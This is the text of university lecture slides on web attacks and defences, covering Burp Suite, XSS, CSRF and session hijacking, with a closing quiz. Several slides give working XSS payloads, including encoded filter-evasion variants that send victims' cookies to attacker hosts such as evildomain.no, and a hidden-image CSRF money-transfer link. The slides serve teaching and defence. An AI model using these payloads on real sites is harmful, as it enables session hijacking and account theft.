IT Security: Attack & Defense

Web hacking 2, Cross Site Scripting (XSS),

Cross Site Request Forgery (CSRF), Session
related attacks

Dr. Abdulaziz Saleh Habtoor

1
Lecture
Overview
• How to use Burp
• Parameter tampering
• What is Cross Site Scripting (XSS) and how to
exploit it
• What is Cross Site Request Forgery and how to
exploit it
• What is the session variable and what kind of
attacks exist related to sessions

2
Burp
suite
Burp is a graphical tool for testing websites. It has several
modules for manipulating the web traffic.

• Spider: Automatic crawl of web applications

• Intruder: Automated attack on web applications
• Sequencer: Quality analysis of the randomness in a sample
of data items
• Decoder: Transform encoded data
• Comparer: Perform comparison of packets
• Scanner: Automatic security test (not free)

3
Burp
suite
Burp provides a proxy to intercept the browsers
traffic.

Browser
proxy

Specific packets can be filtered out by

• Client request parameters (file extension, web
method)
• Server responses (content type, web answer
code)
• Direction of the packets (client to server, server
to client)
4
Burp suite – Burp Certificate
Authority
Because of the traffic
interception the browsers
will observe the invalid
certificate and refuse the
connection. In order to
test https traffic, the
Burp CA can be added to
any browser as root CA.

5
Burp suite
Under HTTP history tab all the traffic that has passed
through the browser is shown. All outgoing traffic can
be intercepted as well and modified before sending
(similarly to Tamper data).

Edit
packet

6
Burp suite -
Repeater The repeater module can
resend a selected packet from
the history. Before sending it
again the packet can be
altered.

7
Burp suite -
Intruder
The intruder module is able to manipulate the parameters that
have been passed to the website. When the packet is sent to
the repeater Burp tries to identify the parameters and carry
out the attack. There are several attack types:
Sniper:

one

parameter,

one iteration
Cluster bomb: multipl
Battering
parameter multipl e
all
s, combinations
e iteratio
considered n
ram:

multiple parameters, one

iteration Pitchfork:
8
Burp suite -
Intruder
Example: 193.225.218.118/ctf/flag2
The payload tab is to set the content of the tries. For example
with the numbers option among others either an incremental list
or random numbers can be specified.

DEMO…
In our example the specific
answer can be identified by the
response length.
More details on the payloads are
here:
http://www.hackingarticles.in/begi
nners
-guide-burpsuite-payloads-part-1/
9
Cross Site Scripting
(XSS)
Cross Site Scripting (XSS) is a frequently appearing web related
vulnerability. If the website accepts input from the user without
proper validation or encoding then the attacker can inject client
side code to be executed in the browser.
Simple example: 193.225.218.118/form.php

10
Cross Site
Scripting (XSS)
Without validation the attacker can provide
• Html elements
• Javascripts

Javascript can overwrite the website content, redirect the page

or access browser data e.g. the cookies.

11
What is possible with XSS
and what is not?
- Attacker can provide any html element including javascript
- Redirect the page to another site to mislead the user
- Rewrite the document content (defacing the site) to mislead the
user
- Get the cookie variables (if they’re not protected with
HTTPOnly), e.g. the session variables for session hijacking,
authentication cookies
- Keylogging: attacker can register a keyboard event
listener using addEventListener and then send all of the user's
keystrokes to his own server
- Phishing: the attacker can insert a fake login form into the page
to obtain the user’s credentials
-Launch browser exploits
BUT
- Local files of the clients
are NOT accessible

12
 XSS
redirection
Redirection is possible with e.g. the javascript
document.location syntax: Examples:
• <script>document.location="http://nrk.no"</script>
• <IMG
"""><SCRIPT>document.location="http://nrk.no"</SCRIPT>"
>
• <img src=x onerror="document.location='http://nrk.no'">
• <BODY ONLOAD=document.location='http://nrk.no'>

13
XSS page
rewrite
Rewriting the page is possible with e.g. the javascript
document.body.innerHTML syntax:

• <script>document.body.innerHTML = 'This is a new

page';</script>

14
XSS cookie
stealing
The cookies contain the session variables (see later). If the
attacker manages to steal the cookie with the session variable
then he can carry out session fixation to obtain the victim’s
data. Example:

• <script>alert(document.cookie)</script>
• <script>document.location='
http://evildomain.no/getcookie?cookie='+d
ocument.cookie</script>

15
 XSS filter
evasion
•Server side scripts can filter out XSS attacks with proper input validation.
•E.g. if the <script> keyword is replaced by ***antihacker*** then the attacker needs to
find another way to execute scripts, etc.
• Alternative ways for executing javascript:
• <svg/onload=alert('XSS')>,
• <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
• Attacker can write characters in a special format to avoid filtering:
• Decimal HTML character: &#106; &#0000106
Hexadecimal HTML character: &#x6A
• Base64 encode
• eval(atob(…));
• iframe
• <iframe srcdoc="<img src=x:x onerror=alert('XSS');>
• <iframe srcdoc="<img src=x:x
onerror=eval(atob('YWxlcnQoJ1hTUycpOw=='));>

16
 XSS filter
evasion
Examples:
• <script>alert(String.fromCharCode(88,83,83))</script>
• <IMG SRC=# onmouseover="alert('xss')">
• <img src=x
onerror="&#0000106&#0000097&#0000118&#0000097&#000
0115&#
0000099&#0000114&#0000105&#0000112&#0000116&#0000
058&#0
000097&#0000108&#0000101&#0000114&#0000116&#00000
40&#00
00039&#0000088&#0000083&#0000083&#0000039&#000004
1">
• <IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&
#112;&#1 16;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>
Details:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_She
et
17
XSS filter
evasion
More examples:
• <iframe srcdoc="<img src=x:x
onerror=document.location="https://www.potatopla.net/xss?
cookie="+
encodeURI(document.cookie);>
• <iframe srcdoc="<img src=x:x
onerror=eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzO
i8vd3d
3LnBvdGF0b3BsYS5uZXQveHNzP2Nvb2tpZT0iK2VuY29kZVVS
SSh kb2N1bWVudC5jb29raWUpOw=='))>
• <iframe srcdoc="%26lt%3Bimg%20src%26equals%3Bx%3Ax
%20onerror%26 equals%3Beval%26lpar%3Batob%26lpar
%3B%27ZG9jdW1lbnQubG9
jYXRpb249Imh0dHBzOi8vd3d3LnBvdGF0b3BsYS5uZXQveHNz
P2Nv
b2tpZT0iK2VuY29kZVVSSShkb2N1bWVudC5jb29raWUpOw
%3D%3 D%27%26rpar%3B%26rpar%3B%26gt%3B

18
 XSS in
URL
If the vulnerable input parameter is passed in the URL then
the XSS payload is placed in the url. It is a perfect way to send
misleading links.
http://193.225.218.118/form3.php?family=<script>alert(‘XSS’);
</script
>
The previous link can be very suspicious since the link contains
the script element. Encoding the XSS payload part of the link
makes it more credible:
http://193.225.218.118/form3.php?family=
%3Ciframe%20srcdoc=%22%26lt%3Bimg
%20src%26equals%3Bx%3Ax%20onerror
%26equals%3Beval%26lpar%3Batob%26l
par%3B%27ZG9jdW1lbnQubG9jYXRpb24
9Imh0dHBzOi8vd3d3LnBvdGF0b3BsYS5u
ZXQveHNzP2Nvb2tpZT0iK2VuY29kZVVS
SShkb2N1bWVudC5jb29raWUpOw%3D
% 3D%27%26rpar%3B%26rpar%3B
%26gt% 3B

19
 XSS in HTTP
header
Hackers try to discover ways of injecting code in areas
commonly overlooked by developers and totally transparent to
the client user. The Cross Site Scripting can be sent in the HTTP
header too.
Example: Oracle’s HTTP server vulnerability:

20
 XSS
types
• DOM based XSS: The data flow never leaves the browser, classical example:
the source is a html element, the result is a sensitive method call.
• Stored XSS : The user input is stored on the target server, such as in a
database, in a message forum, visitor log. The victims will retrieve the xss
through the web site.
• Reflected XSS: The user input is immediately returned by a web application in
an error message, search result, or any other response that includes some or all
of the input provided by the user as part of the request.

• Client Side XSS: The malicious data is used to fire a JavaScript call
• Server Side XSS: The malicious data is sent to the server and the server sends
it back without proper validation

21
XSS case
studies

https://www.acunetix.com/blog/news/full-disclosure-high-profile-web
sites-xss/

22
Prevention against
XSS
• Escaping user input
User input and key characters have to be escaped received
by a web page so that it couldn’t be interpreted in any
malicious way. Disallow specific characters – especially < and >
characters – from being rendered.
E.g. < is converted into &lt;
• Filtering
It is like escaping, but instead of replacing the control character,
it will be simply removed.
• Input validation
Validating input is the process of ensuring an application is
rendering the correct data and preventing malicious data from
doing harm to the site, database, and users. Comparing the
input against a whitelist or regexp.
• Sanitizing input
Changing unacceptable user input to an acceptable format (all
previous 3)

23
XSS
exploitation
tools
Automatic vulnerable scanners such as OpenVAS can
detect Cross Site Scripting vulnerabilities but cannot
exploit them. Special tools exist for the exploitation:
• OWASP Xenotix XSS Exploit Framework

• XSSer (installed in Kali)

• XSS-Proxy

24
 Cross Site Request
Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that forces an end user
to execute unwanted actions on a web application in which they're
currently authenticated.
Example: The attacker sends a tricky link to the user that executes a
malicious action (transfer money to Maria) without realizing it.
• <a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View
my Pictures!</a>
• <img src="http://bank.com/transfer.do?acct=MARIA&amount=100000"
width="0" height="0" border="0">
If the user is previously logged in to the bank he has a valid session and
the malicious action will be executed. Without the session the action
will not be carried out.

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

25
 CSRF
prevention
• Checking the referrer header in the client's HTTP request can
prevent CSRF attacks
• Adding a per-request nonce “form key” to the URL and all
forms in addition to the standard session.
• Adding a hash (session id, function name, server-side secret)
to all forms
• Loging off before visiting another site
• Clearing browser's cookies at the end of each browser session

•CSRF real example: Samy worm in 2005

26
Session related attacks – What
is the session variable?
A user's session with a web application begins when the user first launch the
application in a web browser. Users are assigned a unique session ID that
identifies them to your application. The session should be ended when the
browser window is closed, or when the user has not requested a page in a
“very long” time.

PHP session management example:

<?php session_start();

$_SESSION['myvar']='myvalue'; ?>

<?php
session_start();

if(isset($_SESSION['myvar'])) {

if($_SESSION['myvar']
== 'myvalue') {
… } } ?>

27
Session related
attacks
The session can be compromised in different ways:
• Predictable session token
The attacker finds out what is the next session id and
sets his own session according to this.
• Session sniffing
The attacker uses a sniffer to capture a valid session id
• Client-side attacks (e.g. XSS)
The attacker redirects the client browser to his own
website and steals the cookie (Javascript:
document.cookie) containing the session id
• Man-in-the-middle attack
The attacker intercepts the communication
computers (see later: internal network hacking)
between two
• Man-in-the-browser attack

28
Session related attacks -
protections
The session variable should be stored in the cookies. Since only the session
id identifies the user, additional protection such as geoip significantly
decreases the chance for the session id to be stolen. For protecting the
session id there are several options:
• Using SSL/TLS: if the packet is encrypted then the attacker cannot obtain
the session id
• Using HTTPOnly flag: additional flag in the response header that protects
the cookie to be accessed from client side scripts
• Using Geo location: Bonding the session id to ip address is a bad idea,
because the ip of a user can be changed during the browsing (dynamic
ip addresses especially for mobile clients). But checking geo locations is
a good mitigation

29
Session related
attacks
Session ids should be stored in the cookies. Why it is a bad idea
to pass the session id as a GET parameter or store it in the url?

• The attacker can read it through the screen (shoulder

surfing social engineering)
•The user can send the session variable accidently by copying
the url The session should be expired after there’s no user
interaction. If the
session expires after a long time or never then the attacker
has time to brute force the session variables.
The optimal session expiry time depends on the type of the
website. 30 minutes is generally a good value, it shouldn’t be
more then 6 hours.

30
 Session
•hijacking tools
Firesheep HTTP Session Hijacking (Firefox extension)

• Cookie Catcher
• WebCookieSniffer

31
 Quiz:

• What is cross site scripting?

• Explain Cross-Site Request Forgery (CSRF)?